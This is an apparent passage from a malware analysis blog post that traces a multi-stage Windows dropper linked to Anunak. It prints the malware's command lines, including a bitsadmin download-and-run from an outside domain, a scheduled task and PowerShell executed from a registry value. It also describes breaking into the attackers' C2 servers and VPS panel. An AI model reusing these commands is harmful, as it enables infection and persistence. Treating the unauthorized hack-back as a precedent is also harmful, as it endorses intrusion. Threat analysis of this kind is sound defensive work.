![]() |
| Stage1. Obfuscation |
Indeed if none of searched AV were found on the target system Stage1 was acting as a simple downloader. The specific performed actions follows:
"C:WindowsSystem32cmd.exe" /c bitsadmin /transfer msd5 /priority foreground https://englandlistings.com/pagverd75.php C:UsersJ8913~1.SEAAppDataLocalTemp/rEOuvWkRP.exe &schtasks /create /st 01:36 /sc once /tn srx3 /tr C:UsersJ8913~1.SEAAppDataLocalTemp/rEOuvWkRP.exe
Stage1 was dropping and executing a brand new PE file named: rEOuvWkRP.exe (sha256: 92f59c431fbf79bf23cff65d0c4787d0b9e223493edc51a4bbd3c88a5b30b05c) using the bitsadmin.exe native Microsoft program. BitsAdmin.exe is a command-line tool that system admin can use to create download or upload jobs and monitor their progress over time. This technique have been widely used by Anunak APT during bank frauds on the past few years.
The Stage2 analysis (huge step ahead here) brought me to an additional brand new Drop and Decrypt stager. Stage3 introduced additional layers of anti-reverse engineering. The following image shows the additional PE section within high entropy on it. It's a significative indication of a Decrypter activity.
![]() |
| Stage2. Drop and Decrypt the Stage3. You might appreciate the high Entropy on added section |
cmd.exe /C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:SoftwareAppDataLowSoftwareMicrosoft4CA108BF-3B6C-5EF4-2540-9F72297443C6').Audibrkr))
"C:UsersJ8913~1.SEAAppDataLocalTemp2e6d628189703d9ad4db9e9d164775bd.exe"
C:WindowssysWOW64wbemwmiprvse.exe -secured -Embedding
"C:Program FilesInternet Exploreriexplore.exe" -Embedding
C:Windowssystem32DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
C:Windowssystem32wbemwmiprvse.exe -secured -Embedding
\?C:Windowssystem32wbemWMIADAP.EXE wmiadap.exe /F /T /R
"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:2552 CREDAT:209921 /prefetch:2
"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:2552 CREDAT:406536 /prefetch:2
C:Windowssystem32rundll32.exe C:Windowssystem32inetcpl.cpl,ClearMyTracksByProcess Flags:264 WinX:0 WinY:0 IEFrame:0000000000000000
C:Windowssystem32rundll32.exe C:Windowssystem32inetcpl.cpl,ClearMyTracksByProcess Flags:65800 WinX:0 WinY:0 IEFrame:0000000000000000
"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:3004 CREDAT:209921 /prefetch:2
"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:3004 CREDAT:144390 /prefetch:2
C:Windowssystem32SearchIndexer.exe /Embedding
taskhost.exe SYSTEM
C:WindowsSystem32wsqmcons.exe
taskhost.exe $(Arg0)
C:WindowsSystem32svchost.exe -k WerSvcGroup
"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe1_ GlobalUsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon"
"C:Windowssystem32SearchFilterHost.exe" 0 552 556 564 65536 560
"C:WindowssysWow64SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"
"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"
"C:WindowssysWow64SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"
"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe5_ GlobalUsGthrCtrlFltPipeMssGthrPipe5 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon"
"C:WindowssysWow64SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"
"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"
"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe8_ GlobalUsGthrCtrlFltPipeMssGthrPipe8 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon"
"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:592 CREDAT:209921 /prefetch:2
cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:UsersJ8913~1.SEAAppDataLocalTemp34B0.bi1"
cmd /C "echo -------- >> C:UsersJ8913~1.SEAAppDataLocalTemp34B0.bi1"
C:Windowssystem32schtasks.exe /delete /f /TN "MicrosoftWindowsCustomer Experience Improvement ProgramUploader"
C:Windowssystem32WerFault.exe -u -p 2524 -s 288
"C:Windowssystem32wermgr.exe" "-queuereporting_svc" "C:ProgramDataMicrosoftWindowsWERReportQueueAppCrash_taskhost.exe_82b9a110b3b94c55171865162b471ffb8fadc7c6_cab_0ab86b12"
nslookup myip.opendns.com resolver1.opendns.com
![]() |
| Reverse Shell On C2 Stage_1 |
Now, I was able to download the entire Command and Control Source Code (php) and study it ! The study of this brand new C2 took me to the next level. First of all I was able to get access to the local database where I found a lot of infected IPs (the IPs which were communicating back to C2 level_1). The following image proves that the downloaded Command and Control system has Macedonian dialect (Cyrillic language) on it, according to Anunak APT report made by group-ib.
![]() |
| Command and Control Source Code (snip) |
The following image represents a simple screenshot of the database dump within Victim IPs (which are undisclosed for privacy reasons).
![]() |
| C2 level_1 Database |
Additional investigations on database brought new connected IPs. Those IPs were querying the MySQL with administrative rights. At least additional two layers of C2 were present. While the level_1 was weaponising the malware implant the level_2 was collecting information from victims. Thanks to the source code study has been possibile to found more 0Days to be used against C2 and in order to break into the C2 level_2 . Now I was able to see encrypted URLs coming from infected hosts. Important steps ahead are intentionally missing. Among many URLs the analyst was able to figure out a "test" connection from the Attacker and focus to decrypt such a connection. Fortunately everything needed was written on command and control source code. In the specific case the following function was fundamental to get to clear text !
![]() |
| URL Decryption Function |
![]() |
| Attacker eMail: VPS credentials |
Once "in" a new need came: discovering the entire network by getting access to the VPS control panel. After some active steps directly on the attacker infrastructure it was possible to get access to the entire VPS control panel. At this point it was clear the general infrastructure picture* and how to block the threat, not only for customers but for everybody !
![]() |
| Attacker VPS Environment |
Summary:
![]() |
| Victims Distribution on August 24 2018 |
During the analyses was interesting to observe attacker was acquiring domains from an apparent "black market"where many actors where selling and buying "apparent compromised domains" (no evidence on this last sentence, only feeling). The system (following picture) looks like a trading platform within public API that third party systems can operate such as stock operators.
![]() |
| Apparent Domain BlackMarket |
Hope you enjoyed the reading.
IoCs:
Following a list of interesting artefacts that would be helpful to block and prevent the described threat.
Hashes:
*Actually it was not the whole network, a couple of external systems were investigated as well.

Introduction i-SOON (上海安洵), a prominent contractor for various Chinese government agencies such […]
When I saw a threat actor hijacking the X account of Google's […]
LOCKBIT 3.0 is a notorious Ransomware Group that was first identified on […]